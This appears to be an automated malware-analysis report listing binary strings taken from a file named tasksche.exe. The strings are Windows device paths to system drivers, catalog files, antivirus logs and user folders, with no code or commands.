Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\GAGP30KX.SYS.mui@p
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\VMBusHID.sys
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00d.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep002.catp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00c.catGQ
Source: tasksche.exe.4.dr	Binary string: h\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Cookies
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\evbdx.sysskV
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\asyncmac.sys
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\iaStorV.sysr*
Source: tasksche.exe.4.dr	Binary string: g\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\AVG\AV\cfgall\fixcfg.lockc
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Encoder-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: c\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgemc.log
Source: tasksche.exe.4.dr	Binary string: O\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe5E
Source: tasksche.exe.4.dr	Binary string: +\Device\HarddiskVolume2\Windows\System32\ruIE
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\System32\wbem\Logs856p
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Windows\System32\drivers\mshidkmdf.sysA
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\mrxdav.sysD
Source: tasksche.exe.4.dr	Binary string: q\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrSerWdm.sys
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-UltimateEdition~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\HdAudio.sysd
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Windows\servicing\TrustedInstaller.exeAP7PDC
Source: tasksche.exe.4.dr	Binary string: k\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_1_for_KB976902~31bf3856ad364e35~x86~~6.1.1.17514.catCp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WindowsFoundation-LanguagePack-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catid4
Source: tasksche.exe.4.dr	Binary string: h\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgidpdrv.log.2H
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Media-Format-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: 1\Device\HarddiskVolume2\Windows\System32\pots.dllp
Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: \\Device\HarddiskVolume2\Windows\System32\ru-RU\microsoft-windows-kernel-power-events.dll.mui
Source: tasksche.exe.4.dr	Binary string: t\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.inim
Source: tasksche.exe.4.dr	Binary string: k\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exeta
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-WMIProvider-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat$0p
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\dot3svc.dllPN
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpdr.sysw
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\pnrpauto.dll
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\winusb.sysiv
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\gpscript.dll
Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Windows\System32\config\systemprofile\Favorites3
Source: tasksche.exe.4.dr	Binary string: 1\Device\HarddiskVolume2\Windows\System32\qmgr.dll
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976932~31bf3856ad364e35~x86~~6.1.0.17514.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky007.catp
Source: tasksche.exe.4.dr	Binary string: @\Device\HarddiskVolume2\Windows\Prefetch\SVCHOST.EXE-007FEA55.pf
Source: tasksche.exe.4.dr	Binary string: S\Device\HarddiskVolume2\Program Files\Common Files\AV\avast! Antivirus\userdata.cab0_TS
Source: tasksche.exe.4.dr	Binary string: A\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00y.catp
Source: tasksche.exe.4.dr	Binary string: H\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc
Source: tasksche.exe.4.dr	Binary string: \|\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.iniop
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\lpremove.exep
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\hidbth.sys<\
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Windows\System32\gatherNetworkInfo.vbs1
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat\
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\djsvs.sysD
Source: tasksche.exe.4.dr	Binary string: O\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Temp
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\vmbus.sys
Source: tasksche.exe.4.dr	Binary string: S\Device\HarddiskVolume3\$RECYCLE.BIN\S-1-5-21-1870734524-1274666089-2119431859-1000H
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnhp002.catWp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr004.catH
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-BusinessScanning-Feature-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vms3cap.sys
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\ru-RU\rascfg.dll.mui
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Tuner-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ICM-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: U\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\User Profile Service
Source: tasksche.exe.4.dr	Binary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avgwsc.exep
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\isapnp.sys
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrUsbMdm.sys
Source: tasksche.exe.4.dr	Binary string: D\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\umbus.sys.mui
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\IPMIDrv.sys
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\ru-RU\erofflps.txt
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpu320.sys
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem3.CATo
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976902_RTM~31bf3856ad364e35~x86~~6.1.1.17514.cat
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\wersvc.dll
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Users\Public\Desktop\Google Chrome.lnk
Source: tasksche.exe.4.dr	Binary string: ?\Device\HarddiskVolume2\Windows\System32\drivers\Synth3dVsc.sys
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr004.catp
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\Defrag.exe
Source: tasksche.exe.4.dr	Binary string: A\Device\HarddiskVolume2\Windows\Prefetch\AVGUIRNX.EXE-006CD133.pfp
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\inf\netvwififlt.PNFF4
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\aliide.sys
Source: tasksche.exe.4.dr	Binary string: 6\Device\HarddiskVolume2\Windows\System32\werconcpl.dll
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYSt
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sysP
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GPUPipeline-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catPROTp
Source: tasksche.exe.4.dr	Binary string: D\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\PLA_S
Source: tasksche.exe.4.dr	Binary string: V\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\NetTrace
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sys
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netnwifi.inf_loc
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr006.cat
Source: tasksche.exe.4.dr	Binary string: C\Device\HarddiskVolume2\Program Files\Internet Explorer\ieproxy.dll
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sfloppy.sysH
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623\cef.pakp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnts002.catp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~x86~en-US~8.0.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaDataI
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Disk-Diagnosis-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndisuio.inf_locp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00f.catCp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\AMDAGP.SYS.pdap
Source: tasksche.exe.4.dr	Binary string: 6\Device\HarddiskVolume2\ProgramData\Avg\AV\DB\stats.db\/
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem9.CATpx
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Windows\servicing\TrustedInstaller.exe
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrFiltUp.sys
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Personalization-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\Performance\WinSAT\DataStore
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\SndVol.exep
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\ql40xx.sys\
Source: tasksche.exe.4.dr	Binary string: \\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Remote Access Hostb
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Modem-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Premium-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catdp
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\WcsPlugInService.dll
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\TsUsbGD.sys$
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\sdrsvc.dll
Source: tasksche.exe.4.dr	Binary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\usbport.inf_loc
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-EnterpriseEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.catHp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYS
Source: tasksche.exe.4.dr	Binary string: X\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\NetworkAccessProtectionPM
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Xps-Foundation-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnhp003.catC
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\cmdide.sys
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Sidebar-Killbits-SDP-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catH
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky004.cat\
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: Z\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ClipsInTheLibrary-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\lsi_fc.sysX
Source: tasksche.exe.4.dr	Binary string: ~\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sysW
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\ql2300.sys
Source: tasksche.exe.4.dr	Binary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netrast.inf_loc'*
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avg-6ff9b621-270c-4f57-87d7-93687ce43d15.tmpp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976933~31bf3856ad364e35~x86~en-US~6.1.7601.17514.cat5E5p
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prngt003.catp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMI-SNMP-Provider-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: s\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0R
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\consent.exe
Source: tasksche.exe.4.dr	Binary string: R\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sffdisk.sys
Source: tasksche.exe.4.dr	Binary string: 0\Device\HarddiskVolume2\Windows\System32\DXP.dllp
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Windows\SoftwareDistribution\DataStore
Source: tasksche.exe.4.dr	Binary string: g\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgns.log.lock
Source: tasksche.exe.4.dr	Binary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\smb.sys
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sysfw\ZZ_
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cate
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem9.CATmp
Source: tasksche.exe.4.dr	Binary string: L\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\aitagent.exe
Source: tasksche.exe.4.dr	Binary string: 1\Device\HarddiskVolume2\ProgramData\Microsoft\RAC
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\RacEngn.dllPU
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\History
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avg-6ff9b621-270c-4f57-87d7-93687ce43d15.tmp$
Source: tasksche.exe.4.dr	Binary string: V\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Media Center\Extender
Source: tasksche.exe.4.dr	Binary string: b\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgns.logUSB4
Source: tasksche.exe.4.dr	Binary string: ,\Device\HarddiskVolume2\Windows\System32\wfpip
Source: tasksche.exe.4.dr	Binary string: ^\Device\HarddiskVolume2\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys2
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\inf\compositebus.PNFp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\lsi_fc.sys(
Source: tasksche.exe.4.dr	Binary string: /\Device\HarddiskVolume2\Windows\inf\machine.PNF
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Registry
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.dirp
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netip6.inf_loc
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData\RacMetaData.dat
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mspqm.sysP5
Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\vdrvroot.sys.mui
Source: tasksche.exe.4.dr	Binary string: )\Device\HarddiskVolume2\Windows\Resources
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sys3
Source: tasksche.exe.4.dr	Binary string: @\Device\HarddiskVolume2\Windows\System32\appidcertstorecheck.exe
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\IPSECSVC.DLL
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr008.cat
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00b.cat
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYS\W
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys
Source: tasksche.exe.4.dr	Binary string: 9\Device\HarddiskVolume2\Windows\System32\catroot2\edb.logp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\usbohci.sys
Source: tasksche.exe.4.dr	Binary string: ]\Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtxp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adp94xx.sysLP
Source: tasksche.exe.4.dr	Binary string: b\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\WUClient-SelfUpdate-Core~31bf3856ad364e35~x86~~7.6.7600.320.cat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-VirtualPC-USB-RPM-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.widV
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\GAGP30KX.SYS
Source: tasksche.exe.4.dr	Binary string: .\Device\HarddiskVolume2\Windows\inf\netip6.PNF
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\SCardSvr.dll
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini&
Source: tasksche.exe.4.dr	Binary string: V\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: D\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\rdbss.sys.mui\p
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16\temp\avg-27617c4e-7c1a-491f-b8be-a34d5070ed64.tmp\|$hH
Source: tasksche.exe.4.dr	Binary string: \Device\CdRom0PchSmi
